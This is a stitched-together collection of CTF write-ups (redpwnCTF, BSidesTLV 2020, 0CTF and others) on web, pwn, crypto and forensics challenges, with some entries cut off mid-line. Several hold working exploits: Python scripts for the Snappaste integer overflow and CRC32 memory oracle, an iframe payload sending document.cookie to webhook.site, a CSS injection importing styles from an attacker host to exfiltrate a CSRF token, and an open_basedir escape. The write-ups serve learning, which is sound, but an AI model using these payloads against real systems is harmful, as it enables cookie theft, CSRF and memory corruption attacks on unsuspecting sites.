................0x55d0fe404040 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404050 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404060 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404070 3100 0000 0000 0000 0000 0000 0000 0000 1...............0x55d0fe404080 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404090 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe4040a0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe4040b0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe4040c0 5200 0000 0000 0000 0000 0000 0000 0000 R...............0x55d0fe4040d0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe4040e0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe4040f0 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404100 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404110 3000 0000 0000 0000 0000 0000 0000 0000 0...............0x55d0fe404120 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404130 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404140 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404150 0000 0000 0000 0000 0000 0000 0000 0000 ................0x55d0fe404160 3400 0000 0000 0000 0000 0000 0000 0000 4..................```Going down, all the original flag bytes are there. We collect them all, and then can deofuscate them all at once with a script (see decodebytes.py). ```[0x55d0fe20385b]> px 2000 @ rax > obfsflag.txt```and then:```bashkali@kali:~/Desktop/whatsthepassword$ python3 decodebytes.py rtcp{fL92_r_50m371m32_5Pr34D_0U7}```
# flag-sharer **Category**: Web **Points (final)**: 499 points **Solves**: 3 **Provided file(s)**: flag-sharer.tar **Provided host(s)**: <https://flag-sharer.ml> ## Write-upby Cameron In this challenge, the goal was to gain access to a flag stored within the application. Additionally, a system was provided which would allow me to send a URL for an 'admin-bot' to visit, implying the solution to the challenge would require some sort of client-side. Examination of provided URL reveals the primary functionality of the site was to allow users to register and share flags to which they have access to other registered users. The mere creation of an account grants the user access to both the `United States` and `Tunisia` flags via the `https://flag-sharer.ml/item?name=<FLAG_NAME>` endpoint. Attempting to access any flag which the authenticated user does not have access to yields an error message `<FLAG_NAME> is not in your item list.` This endpoint returns no `Content-Type` header and performs no filtering on the reflected input, making it a prime candidate for injection. Unfortunately, the server returns the `content-security-policy: script-src 'none'; object-src 'none'` header in all responses it sends to the client, making it impossible to perform traditional XSS attacks. Examination of the `https://flag-sharer.ml/gifts` page reveals that a CSRF token must be presented with the request to send a flag to a user, preventing common CSRF attacks against the admin user. Fuzzing of the form fields located on that same page revealed a URL parameter `error` which echoes its contents into the DOM in the following manner:```html<span>An error occured: {{INJECTION}}</span><style> @import '/static/{{INJECTION}}.css'; .error { padding: 20px; border-radius: 5px; }</style>```Unfortunately, the server filters the `error` parameter against the regular expression `/[&<>"'*\s]/`, banning characters which might allow us to escape the context of the `<style>` block or even the URL argument to `@import`. Fortunately, we might still leverage this injection to great effect. When browsers parse URLs prior to making requests, they resolve paths to eliminate instances of `./` or `../`, thus, by injecting a `../`, we can include a stylesheet located at any path on the server that we want. Leveraging the `https://flag-sharer.ml/item?name=<FLAG_NAME>` endpoint, we can echo arbitrary content into the response body of any requests made to this endpoint. The lack of `Content-Type` or `X-Content-Type-Options: nosniff` headers ensures that the resulting page will be interpreted as CSS by the browser. By combining these two injection vectors, we may include arbitrary CSS content cross-domain from a host we control via the following injection:````https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522https://evil.risky.services/evil.css%2522);````When injected, this payload results in the following content in the DOM of the `/gifts` page:```html<style> @import '/static/../item?name=@import+url(%22https://evil.risky.services/evil.css%22);.css'; .error { padding: 20px; border-radius: 5px; }</style>```The response body of the `/item` page resolves to:```css@import url("https://evil.risky.services/evil.css");.css is not in your item list.```Thus, through these two injection points, it is possible to include arbitrary CSS on the `/gifts` page.At this point in time, I was thinking that the solution to this challenge would be to perform the somewhat trivial form of CSS data exfiltration via `[value="<PREFIX>"]` selectors on the relevant input elements. Imagine my dismay when I realized that the CSRF token which was my goal lie in a `<textarea>` element. I eventually stumbled across a research publication from <https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/> which described an attack that utilized dynamically generated fonts to control the appearance of a horizontal scrollbar and utilize that as a side-channel to exfiltrate data within text nodes within a web page. This attack worked by creating special fonts in which all single characters have a width of 0 while a specific ligature had a wide width. If the element in which the text appears is narrower than the width of the ligature, a horizontal scrollbar will appear. By setting the background of the scrollbar to an image hosted at a URL I control, I can observe requests made to my server and determine the content on the page. Unfortunately, there are were no publicly available tools implementing this kind of exploit, and all I could find on GitHub in the way of POCs were rather confusing or not applicable to my situation. Thus, I decided to implement the attack myself. One hurdle I decided to get around at the start was that the CSRF token was regenerated upon each visit to the target page, so whatever attack I implemented must only make a single request to the `/gitfs` page. I found an interesting solution from <https://x-c3ll.github.io/posts/CSS-Injection-Primitives/#css-recursive-import> involving recursive stylesheet imports. The idea behind this attack is to recursively import stylesheets containing the dynamically generated attack fonts, but block server-side until the attack server has received the leaked prefix for the current step and then return the next style. The server repeats this action until all characters are leaked. The browser attempts to fetch the style provided by the `@import` directive, but if the request is taking too long it applies all subsequent style rules and retroactively applies the included stylesheet when the response finally arrives. Thus, by blocking the request on our attack server, we can have the browser apply a stylesheet while waiting on the next one in the chain. A slight issue I had with the above strategy was due to the cascading nature of CSS. In particular, styles located further down in the stylesheet have precedence over styles located nearer the top. This proved to be an issue since my recursive includes were technically located above the payload for each step of the attack, and thus would not be retroactively applied. Fortunately, CSS has a concept of specificity such that more specific rules get applied with a higher precedence. Thus, by appending additional `[name="csrf"]` selectors in the attack styles, I can arbitrarily increase the specificity (and thus precedence) of each stage of my attack, allowing the recursive includes to overwrite subsequent styles. With these problems resolved, it is time to detail the actual attack. Using this methodology, each step of the attack determines an additional character in the prefix to the data I want to leak. In the case of the CSRF token in this challenge, the charset of the target data was may be described by `/[0-9a-f]{32}/` or 16 hex-bytes. Thus, for each stage of the attack, I generate 16 different fonts such that all single characters have a width of 0, and the ligature composed of the previously known prefix concatenated with one of the characters in the above charset has an extremely wide width for every character in that charset. I then create an animation which sets both the font of the target element and the background image of its scrollbar to each possible value for every character in the charset. When applied, this animation will cycle over each of the 16 generated fonts, and one of them will cause the browser to issue a request to my attack server informing it of the next character in the prefix. Once this occurs, my attack server will generate the next set of attack fonts and stop blocking the request for the next stylesheet in the sequence. Thus, by using this method, I am able to exfiltrate the CSRF token from the target page. Finally, in order to actually use the CSRF token to perform a CSRF attack, I create an html document on my server which includes the target page with the injection in an `<iframe>` and a piece of JavaScript code which occasionally checks with my server to see if we have recovered the CSRF token yet. Once the CSRF token is fully extracted, the JavaScript submits a request to the `/send` endpoint on the target site along with the CSRF token in order to share the challenge flag with an account I control. I deployed this html page to my site, instructed the admin-bot to visit it, and several seconds later had received the flag with my user on `flag-sharer.ml`. In order to make similar attacks easier in the future, we at BLAHAJ have utilized our mediocre software development skills to create a somewhat (read hopefully) extensible framework written in python. The full source of our exploit may be found at <https://git.lain.faith/BLAHAJ/redpwn-flag-sharer>.
### CRC32 Oracle There is an integrity check of decompressed paste data. ```// Make sure nothing went wrongif (crc32(0, paste_received->data, paste_received->data_size) != header->data_crc32) { throw std::runtime_error("integrity error :(");}``` Because data_size is user-controlled, we can make it larger than actual decompressed data, causing crc32 to calculate checksum past the data boundary. If crc32 does not match user-supplied checksum value, service throws an error. We can brute-forcing one byte at a time and use it as an oracle to read memory. ```from pwn import *import requestsimport zlib s = requests.Session() url = "https://snappaste2.ctf.bsidestlv.com" def is_valid(data, suffix): data_compressed = zlib.compress(data, 9) body = b"" + p32(0) + p32(len(data_compressed)) + p32(len(data)+len(suffix)) body += p32(zlib.crc32(data+suffix), sign="signed") body += data_compressed resp = s.post(url + "/paste", data=body) return resp.status_code == 200 def pwn(): flag = "A"*37 suffix = "" while True: print(suffix) for i in range(32, 128): print(i, chr(i)) if is_valid(flag, chr(i) + suffix): print("Valid!! ", chr(i)) suffix = chr(i) + suffix flag = flag[:-1] break pwn() # BSidesTLV2020{N3veR-Tru$t-us3R-iNput!}```
### Backdoor First thing that catches our attention is, there is a backdoor which gives the flag when requested paste name matches the value of backdoor_filename variable. Another part of the backdoor leaks the address of backdoor_filename variable. ### Integer Overflow Integer overflow at num_bytes causes shorter buffer to be allocated than what is needed. ```// Only a single allocation for efficiency!dword num_bytes = header->metadata_size + header->data_decompressed_size + sizeof(PASTE_RECEIVED);``` header->data_decompressed_size is user-controlled variable, and we can set it to 0xFFFFFFFF. ### Buffer overflow Now let's look at the allocated buffer itself: `[metadata] [decompressed data buffer] [PASTE_RECEIVED structure]` Let's look at how these 3 pointers are calculated:```auto paste_received_ptr = alloc.get() + num_bytes - sizeof(PASTE_RECEIVED);paste_received->metadata = alloc.get();paste_received->data = alloc.get() + header->metadata_size;``` And take a look at call to uncompress.```int result = uncompress(paste_received->data, &dest_len, data, header->data_compressed_size);``` Because buffer was under-allocated, we can overwrite into paste_received struct with our compressed paste data. ### Write-What-Where We control all variables passed to memcpy below, giving us Write-What-Where primitive.```memcpy(paste_received->metadata, metadata, header->metadata_size);```### Final Exploit * Paste anything to the service and get new randomly generated paste name. * Set the value of backdoor_filename to our new paste name, using Write-What-Where primitive. * Request the paste, triggering the backdoor ```from pwn import *import requestsimport zlib s = requests.Session() url = "http://localhost:8080"# url = "https://snappaste.ctf.bsidestlv.com" def paste(metadata, data, len_data=None): data_compressed = zlib.compress(data, 9) print("metadata size: ", len(metadata)) print("compressed size: ", len(data_compressed)) print("raw size: ", len(data)) if len_data==None: len_data = len(data) body = b"" + p32(len(metadata)) + p32(len(data_compressed)) + p32(len_data) body += metadata body += data_compressed resp = s.post(url + "/paste", data=body) print(url+"/paste") print(resp) print(resp.text) return resp.text.strip() def get_paste(name): return s.get(url + "/view/"+name).text def write8(what, where): paste(what, b"\x00"*7 + p64(where) + p64(0x00) + p64(where) + p64(0x00), 0xFFFFFFFF) def write_str(what, where): while len(what) > 0: write8(what[:8].encode(), where) what = what[8:] where += 8 def leak_backdoor(): id1 = paste(b"", b"") resp = s.get(url + "/backdoor/"+id1) print(resp) print(resp.text.strip()) return resp.text.strip() def pwn(): s = leak_backdoor().split(" ") addr = int(s[1], 16) fname = s[3] info("Addr %x Name %s" % (addr, fname)) write_str(fname, addr) info(get_paste(fname)) pwn() # BSidesTLV2020{$0metimes-jUst-4dding-tw0-nuMber$-g3ts-y0u-iN-tr0ub13s}```
# Snappaste (Part 2) Writeup Here's an improved version of our pasting service. Some weird stuff was happening in the previous version, so we added an integrity check for the pastes. Also, due to misuse, we began limiting the size of the pasted snippets (please don't paste Kali Linux ISOs, thanks). URL: https://snappaste2.ctf.bsidestlv.com/ To compile, Use the following commands: gcc -c -std=c99 zlib/*.c g++ -c -std=c++14 snappaste.cc g++ -o snappaste *.o -pthread By Michael Maltsev ## Solution By using WinMerge we could observe the next major differences between the versions: - `dword data_crc32;` added in `PASTE_NETWORK_HEADER`- Size checking added: ```c// Prevent service misuseif (header->metadata_size > 0x10000 || header->data_compressed_size > 0x10000 || header->data_decompressed_size > 0x10000) { throw std::invalid_argument("data size too big :(");}``` - The next code was added: ```c// TODO: remove after testingif (true) { auto flag = readfile("./flag"); if (paste_received->data_size >= flag.size()) { memcpy(paste_received->data, flag.c_str(), flag.size()); if (backdoor) { backdoor = false; paste_received->metadata_size = 0; paste_received->data_size = static_cast<dword>(flag.size()); return paste(paste_received); } }}``` - CRC validation. This time we can't change `backdoor` variable because we don't have the previous integer overflow. Lets try to find new vulnerabilities with the added code. Actually, this code: ```cauto flag = readfile("./flag");if (paste_received->data_size >= flag.size()) { memcpy(paste_received->data, flag.c_str(), flag.size());``` Is giving us opportunity to leak the flag because it is being copied into the `paste_received->data_size` location, but it is being overwritten later with our data: ```pythonuncompress(paste_received->data, &dest_len, data, header->data_compressed_size);``` When we tried giving large `paste_received->data_size` value, but small actually compressed data (to see the rest of the flag), we are failing at the next CRC check: ```pythoncrc32(0, paste_received->data, paste_received->data_size);``` Because we don't know the flag content, we can't really guess/bruteforce the CRC. What we CAN do is to guess one letter at a time. Lets first guess the flag length: ```pythonguessed_length = 38 metadata = b'{"name": "alex","date":"2020-06-28T15:52:21.519Z"}'metadata_size = len(metadata)data_decompressed_size = guessed_lengthdata_decompressed = b'\x00'data_compressed = zlib.compress(data_decompressed)data_compressed_size = len(data_compressed)data_crc32 = zlib.crc32(b'\x00'*guessed_length) paste_data = b''paste_data += struct.pack('
Original writeup: [https://github.com/jacopotediosi/Writeups/blob/master/CTF/2019/CSAW-Quals-2019/Web-Unagi-200/README.md](https://github.com/jacopotediosi/Writeups/blob/master/CTF/2019/CSAW-Quals-2019/Web-Unagi-200/README.md)
The challenge is called Vampire, which causes association blood.There is also this gif in the website: ![](https://i.imgur.com/B3Anj4u.pnghttp://) Those two made me imeddiatly think about heartbleed, also the website has a self signed certificate so it's also suspicious.I have used metasploit to try and check if it's actually vulnerable to heartbleed and it is:![](https://i.imgur.com/SDwp9Vw.png) Now i can run the exploit script serveral times to leak some data:![](https://i.imgur.com/2UI6IzF.png) Now the website had a login page, so i decided to grep the leaked data for username and got the flag:![](https://i.imgur.com/JldvVxW.png) Flag:```BSidesTLV2020{Bl00d_Bl00d_Bl00d!!!}```
# Snappaste (Part 1) Writeup We felt like there were not enough pasting services, so we created Snappaste! For better privacy, each pasted text can only be accessed once. We care about performance, and therefore we developed Snappaste in C++. We hope that we didn't introduce any security bugs :) URL: https://snappaste.ctf.bsidestlv.com/ To compile, Use the following commands: gcc -c -std=c99 zlib/*.c g++ -c -std=c++14 snappaste.cc g++ -o snappaste *.o -pthread By Michael Maltsev ## Solution First thing we did was observing the packets in packet capture software (for example Fiddler) and build a script to create valid packets. **Python script to reproduce a paste request:** ```pythonimport requestsimport structimport zlib url = 'https://snappaste.ctf.bsidestlv.com/'paste_url = url + 'paste'view_url = url + 'view/'backdoor_url = url + 'backdoor/' metadata = b'{"name": "alex","date":"2020-06-28T15:52:21.519Z"}'data_decompressed = 'this is my data'data_compressed = zlib.compress(data_decompressed)metadata_size = len(metadata)data_compressed_size = len(data_compressed)data_decompressed_size = len(data_decompressed) paste_data = b''paste_data += struct.pack('<I', metadata_size)paste_data += struct.pack('<I', data_compressed_size)paste_data += struct.pack('<I', data_decompressed_size)paste_data += metadatapaste_data += data_compressed r = requests.post(paste_url, data = paste_data, verify = False, headers = { 'Cookie': 'BSidesTLV=af6e736a35c13bfbe3f81d76e271a1aa52c3e937'})print(r.content)``` We created a local environment by compiling the C++ code for easier testing procedure. Tried to find vulnerability in C++ code. Even when sizes were tampered the program worked correctly because the allocation was made according to the size given. Our final goal is to get into the next `if` statement: ```python// TODO: remove after testing if (name == backdoor_filename) { std::cout << "printing flag" << std::endl; content += readfile("./flag"); }``` Because C++ is doing that specific compare by value (and not by reference), we need to overwrite the buffer: ```python// TODO: remove after testingchar backdoor_filename[17];``` We can leak its address using the `/backdoor` API, so we only need Write-What-Where primitive, and overwrite it with our random generated file name. We can spot an Integer Overflow vulnerability in the next line: ```pythondword num_bytes = header->metadata_size + header->data_decompressed_size + sizeof(PASTE_RECEIVED);``` After trying many combinations, the next one worked for us: - First we are doing a regular paste.- We are leaking the `backdoor_filename` address using `/backdoor` API.- Creating a new paste with the next parameters: - `metadata = <previous_name>` - `metadata_size = 16` - `data_decompressed = <leaked_backdoor_pointer>` - `data_compressed_size = len(zlib(data_decompressed))` - `data_decompressed_size = 0xFFFFFFF8`- This creates allocation of size 48.- So line: `int result = uncompress(paste_received->data, &dest_len, data, header->data_compressed_size);` will overwrite the `paste_received->metadata` pointer with `backdoor_filename` address.- And finally, line `memcpy(paste_received->metadata, metadata, header->metadata_size);` will overwrite the global variable with our random name.- Flag: `BSidesTLV2020{$0metimes-jUst-4dding-tw0-nuMber$-g3ts-y0u-iN-tr0ub13s}`Full exploit source code: ```pythonimport requestsimport structimport zlib import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # url = 'http://127.0.0.1:8080/'url = 'https://snappaste.ctf.bsidestlv.com/'paste_url = url + 'paste'view_url = url + 'view/'backdoor_url = url + 'backdoor/' # NORMAL PASTE REQUESTmetadata = b'{"name": "alex","date":"2020-06-28T15:52:21.519Z"}'data_decompressed = b'this is normal'data_compressed = zlib.compress(data_decompressed)metadata_size = len(metadata)data_compressed_size = len(data_compressed)data_decompressed_size = len(data_decompressed) paste_data = b''paste_data += struct.pack('
# More With Less ### Challenge Text >You need some EFF in your life.>http://bsidesctf.s3-website.eu-central-1.amazonaws.com/MoreWithLess.E01 ### Challenge Work You are given no hints and a `.E01` Expert Witness (EnCase 6) file. So let us recover files with `ewftools`: ```pwnbot :: ctfs/bsides/mwl % tsk_recover -e MoreWithLess.E01 recovered pwnbot :: ctfs/bsides/mwl % ll recovered 130 ↵total 1.4Gdrwxrwxr-x. 4 galleywest galleywest 4.0K Jun 28 17:49 '$Extend'drwxrwxr-x. 4 galleywest galleywest 4.0K Jun 28 17:49 '$Recycle.Bin'-rw-rw-r--. 1 galleywest galleywest 1.4G Jun 28 17:49 pagefile.sysdrwxrwxr-x. 11 galleywest galleywest 4.0K Jun 28 17:50 ProgramDatadrwxrwxr-x. 21 galleywest galleywest 4.0K Jun 28 17:49 'Program Files'drwxrwxr-x. 16 galleywest galleywest 4.0K Jun 28 17:49 'Program Files (x86)'drwxrwxr-x. 10 galleywest galleywest 4.0K Jun 28 17:50 Python38-rw-rw-r--. 1 galleywest galleywest 16M Jun 28 17:50 swapfile.sysdrwxrwxr-x. 2 galleywest galleywest 4.0K Jun 28 17:50 'System Volume Information'drwxrwxr-x. 5 galleywest galleywest 4.0K Jun 28 17:50 Usersdrwxrwxr-x. 69 galleywest galleywest 4.0K Jun 28 17:53 Windows``` First we notice there is a User named after the CTF...this is likely where we should look first. Digging around in here we notice that the History file for Google Chrome is present, and it is a SQLIte database: ```pwnbot :: ctfs/bsides/mwl % ll recovered/Userstotal 16Kdrwxrwxr-x. 17 galleywest galleywest 4.0K Jun 28 17:50 bsidestlv2020drwxrwxr-x. 3 galleywest galleywest 4.0K Jun 28 17:50 Default-rw-rw-r--. 1 galleywest galleywest 174 Jun 28 17:50 desktop.inidrwxrwxr-x. 10 galleywest galleywest 4.0K Jun 28 17:50 Public pwnbot :: ctfs/bsides/mwl % file recovered/Users/bsidestlv2020/AppData/Local/Google/Chrome/User\ Data/Default/Historyrecovered/Users/bsidestlv2020/AppData/Local/Google/Chrome/User Data/Default/History: SQLite 3.x database, last written using SQLite version 3031001``` Well, lets see what they searched for... ![flag_find.png](https://raw.githubusercontent.com/turnipsoup/ctfwriteups/master/BSidesTLV-2020/less-with-more/flag_find.png 'flag-find.png') ```BSIDESTLV2020{HideYourNeedleInTheHayStack}```
we get the cipher `2c155e13121059000e06471817074562300609071a3a2d225b5f5c10143d4c0409001f0102060c0e0b466941040d5604521b1d0b440e410252185a1b181b0e05077b6660612f60612f62762f637a6868` using trial and error we discovered few interesting stuff regarding the encryption stream: - the data is padded before encrypted: - up to 20 bytes → result will be 40 bytes - 20-40 bytes → result will be 80 bytes - etc 19 - aaaaaaaaaaaaaaaaaaa - 7355371973553719735537197355371973553779 : 9f7c20 - aaaaaaaaaaaaaaaaaaaa - 73553719735537197355371973553719735537190620426c0620426c0620426c0620426c0620426c : 2910 From inspecting the input and output we can observe they are using cyclic xor encryption of the key. padding: padded with `0xX` up to the closest size where X is number of padded bytes. so if missing 3 bytes till closest 20 modulo, then it will be padded with 0x3. we know that the flag contains "BSidesTLV2020{"by doing xor of the known plain text with the cipher at every index we see: ![](https://i.imgur.com/bUUvDsi.png) **" combination o"** thats part of the key. so we have the cipher text, and the padding value, so we get We know that the plain text contains padding of 1-20 bytes at the end before the encryption, which mean we can brute over the 20 possibilities of the padding bytes value. ![](https://i.imgur.com/wIQPHdT.png) we get this time **"tion on my lugg"** by common sense we we that this connect to the other part of the key **" combination o"**so till now we have " combination on my lugg"by searching this google we find the sentence: > "I have the same combination on my luggage!"```binascii.hexlify( b"I have the same combination on my luggage!")b'492068617665207468652073616d6520636f6d62696e6174696f6e206f6e206d79206c75676761676521'``` ```url = "https://cryptostream.ctf.bsidestlv.com/decrypt"myobj = {"message":"2c155e13121059000e06471817074562300609071a3a2d225b5f5c10143d4c0409001f0102060c0e0b466941040d5604521b1d0b440e410252185a1b181b0e05077b6660612f60612f62762f637a6868","Signature":"d38f", "key":"492068617665207468652073616d6520636f6d62696e6174696f6e206f6e206d79206c75676761676521"}res = requests.post(url, json = myobj)print(res.text)``` and we get: `BSidesTLV2020{Slip steaming all around}`
# static-static-hosting**Category:** Web **Points:** 434 **Description:**> Seeing that my last website was a success, I made a version where instead ofstoring text, you can make your own custom websites! If you make something cool, send it to me here>> **Site:** ` static-static-hosting.2020.redpwnc.tf `>> **Note:** The site is entirely static. Dirbuster will not be useful in solving it.>> **Author:** BrownieInMotion ## WriteupThis challenge is very similar to the **static-pastebin**challenge. I would even consider it a precursor to this challenge, so I willkeep this writeup short. If you want more information, check out my[writeup for static-pastebin](https://github.com/itsecgary/CTFs/tree/master/redpwnCTF%202020/static-pastebin) Anyways, we check the two links above and get the same bot submission webpage aswell as the same type of pastebin website. The title changed and we see that weare pasting "HTML" instead of text. Nonetheless, it will most likely be another**Reflected XSS** attack. I went ahead and tested out a random word tosee what we are working with. I check the sources and we have another sanitizationfunction to work with:```function sanitize(element) { const attributes = element.getAttributeNames(); for (let i = 0; i < attributes.length; i++) { // Let people add images and styles if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) { element.removeAttribute(attributes[i]); } } const children = element.children; for (let i = 0; i < children.length; i++) { if (children[i].nodeName === 'SCRIPT') { element.removeChild(children[i]); i --; } else { sanitize(children[i]); } }}``` Looks like we won't be able to but any "script" tags anywhere in there. We canalso see it sanitizes attributes, which limits us even more. Our goal here is probablyto steal the admin-bot's cookie again and we will need to inject some javascriptinto a tag here. After messing around for a while, I reached a point where I am able to overwritethe location of the current session to a different website. I will be using **Webhook** againbecause it worked well for me for the last challenge. Here is my final exploit:```<iframe src="javascript:top.location.href='https://webhook.site/b3ead4c5-b498-4d5f-9b82-f6fa49d9639f/?'+document.cookie"></iframe>``` I will enter a cookie: "XSS = but make it reflected (part 2)" and test it out. When we click on "Take me to my website!", it redirects right away and it is hard to copythe address right away. For this case, I just base64 encoded it and put together the URLand submitted it to the admin-bot. ## Flagflag{wh0_n33d5_d0mpur1fy} ## Resources[Webhook](https://webhook.site/)
[Read Writeup](https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/4k-rsa/4k-rsa.md)(https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/4k-rsa/4k-rsa.md)
The genereate.js as bellow --> just read content and try to base64 encode it 25 times.click on the site to view the writeup completetly with images.https://lionsofficial7.wixsite.com/lions/post/redpwnctf-2020-writeup
For this challenge I immediately noticed the emojis and thought it must be emojicode (Don't ask me why I knew it existed). I decided to try and get code execution using emojicode's system interface. This was a little hard to figure out, but after viewing some file reading examples I was able to figure out how to call this function. It seems to be that calling a type function of a class was in the general form <typefunctionemoji>rabbit<classemoji> and then then the arguments (in this case a string) followed by a red exclamation mark to end the arguments. Once I had code execution I found that the server had curl, and used that to get the flag from the `emojiwat-flag` host: ![EmojiCode](https://i.imgur.com/9xpltau.png)
### Cloud Computing v1 *A misc challenge that has nothing to do with the cloud, nor with computing.* > Welcome to our new cloud function computing platform, enjoy here. http://pwnable.org:47780/ With those quoted words as the only description, a look at the website kindly gives us some of its source code: ```php So we upload a php file, it gets filtered by a WAF which we can't see, and then we can execute it? We figured out what it does not like pretty quickly: * dots So no domains* spaces* underlines So no `$_GET`* capital letters* Any input above 35 characters > `"$()/;<=>?[\]{}~` all allowed, other ascii symbols banned> \- hyperreality [cr0wn] We also noticed that some functions are disabled. > I don't think scandir works. neither does exec, system or passthru.> \- Sansero [flagbot] #### Digression Let's make those things work. That was not a fruitful approach, but we did nonetheless consider some options. In order to work around the character count limit, it would be nice if we could include a file from our own domain. For that, we'd need a short enough domain. But wait! domains contain dots! To work around that problem, we can specify the IP address [without dots, as a decimal number](https://superuser.com/questions/857603/are-ip-addresses-with-and-without-leading-zeroes-the-same#comment1136605_857609). Or we could also store the actual payload in a different GET parameter and eval that. But we don't have underscores. Since we can use eval though, we can use the character code. > ` \- bazumo [flagbot] #### Back On Track At this point, bazumo made an important discovery: if we specify in the GET request `data` as an array - i.e. `?data[]=print("HELLO");` instead of `?data=print("HELLO");` - waf does not complain! > that's sick, we can now get arbitrary length payloads> \- hyperreality [cr0wn] > wrong.>> > Request-URI Too Long> > The requested URL's length exceeds the capacity limit for this server.> > *Apache/2.4.38 (Debian) Server at 172.23.0.2 Port 8000*>> pasting a complete urlencoded c99 shell is too much.>> \- LucidBrot [flagbot] With `get_defined_functions(true)` we get a list of only the enabled functions. I soon came to believe that `readfile(index.php)` did not work despite being on that list whereas `highlight_file(index.php)` worked. In retrospect, that issue was probably just my browser which decided to put the output of `readfile` into a comment instead of printing it on the page, because I hadn't wrapped the call in `print()`. First of all, we tried to activate all [error_reporting](https://www.php.net/manual/en/function.error-reporting.php). > ````> error_reporting ([ int$level ] ) : int> ````>> The **error_reporting()** function sets the [error_reporting](https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting) directive at runtime. PHP has many levels of errors, using this function sets that level for the duration (runtime) of your script. If the optional `level` is not set, **error_reporting()** will just return the current error reporting level. The documentation sounds straightforward enough. But it is not, unless one reads closely. `$level` is a bitmask, so we actually needed to call `error_reporting(-1);`, which I find really counterintuitive. Anyway, with error reporting enabled, we have something to work with: > Warning: readfile(): **open_basedir restriction in effect.** File(/var/www/html/sandbox/index.php) is not within the allowed path(s): (/var/www/html/sandbox/1c8606cc4b48bc4fc247f31cdd94ceced948d144/) in /var/www/html/sandbox/1c8606cc4b48bc4fc247f31cdd94ceced948d144/index.php on line 1 At that point, tamas_dxw had a clue. #### Phuck3 > as opposed to `easyphp`, we have a writable subdirectory and we can call `ini_set` / `ini_alter` so we could probably break out of open_basedir jail with `phuck3` (or something from [here](https://github.com/w181496/Web-CTF-Cheatsheet#open_basedir繞過))> \- tamas_dxw [emwtf] And finally, we were able to read the file `function.php`! The point of `phuck3` is to trick `open_basedir` using chdir, as advised by the docs: > When a script tries to access the filesystem, for example using [include](https://www.php.net/manual/en/function.include.php), or [fopen()](https://www.php.net/manual/en/function.fopen.php), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink. If the file doesn't exist then the symlink couldn't be resolved and the filename is compared to (a resolved) **open_basedir**.>> The special value `.` indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with [chdir()](https://www.php.net/manual/en/function.chdir.php).>> Source: [php.net](https://www.php.net/manual/en/ini.core.php#ini.open-basedir) We are actually allowed to modify our `open_basedir` settings - as long as we are setting them to a directory we are allowed to access. So let us do exactly that, in a totally innocent way. 1. Create a directory within our personal sandbox directory, because we have write access there.2. `chdir` into that new directory.3. `ini_set('open_basedir','..');` That is totally legal, because we are allowed to access the parent directory anyway.4. Move into the parent directory. That's allowed by `open_basedir`.5. Do that again. And again. Until we're at the `/` directory.6. `ini_set('open_basedir','/')`;7. We now can access any directory we want - as long as the permissions of the directory allow us, of course. We only circumvented the `open_basedir` restriction. #### Waf Sucks Of course we can now read `function.php`: ```phpfunction waf($data=''){ if (strlen($data) > 35) { return true; } if (preg_match("/[!#%&'*+,-.: \t@^_`|A-Z]/m", $data, $match) >= 1) { return true; } return false;} function initShellEnv($dir){ ini_set("open_basedir", "/var/www/html/$dir");}``` Now we can understand why that array bypass worked. Firstly, `strlen` is applied to the data. If the data is an array, it will be implicitly converted to string. And `"Array"` is shorter than 35 characters. Secondly, `preg_match` checks for violating data with a regex on a target *string*. > `preg_match()` returns `1` if the pattern matches given subject, `0` if it does not, or `FALSE` if an error occurred.> > **Warning**This function may return Boolean `FALSE`, but may also return a non-Boolean value which evaluates to `FALSE`. > Source: [php.net](https://www.php.net/manual/en/function.preg-match.php) So if an error happens within `preg_match`, it will return something that can be interpreted as an integer of value `0`. Which is not `>= 1`. #### Get The Flag One `file_get_contents('/flag')` later and we had... *something*. > wtf, there's a file at `/flag` but it's garbage> \- hyperreality [cr0wn] > send it anyway>> \- LucidBrot [flagbot] Downloading it in a [different way](https://stackoverflow.com/a/7263944/2550406) as an octet-stream gives us a gzip archive. And within that there's a `flag.img`. ```bash$ file flag.imgflag.img: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=d4d08581-e309-4c51-990b-6472ba249420 (large files)``` Obviously a mountable filesystem. But when we mounted it, all we got was an empty drive with only a `lost+found` dir which was empty as well. There must be something hidden. ```bash$ binwalk file DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Linux EXT filesystem, rev 1.0, ext2 filesystem data (mounted or unclean), UUID=d4d08581-e309-4c51-990b-6472ba24ba2446080 0xB400 PNG image, 728 x 100, 8-bit/color RGB, non-interlaced46121 0xB429 Zlib compressed data, default compression``` Right! There's some additional PNG image as well as some compressed data. Those files can be extracted using `binwalk --dd=".*" file`. And in the PNG resides the flag!
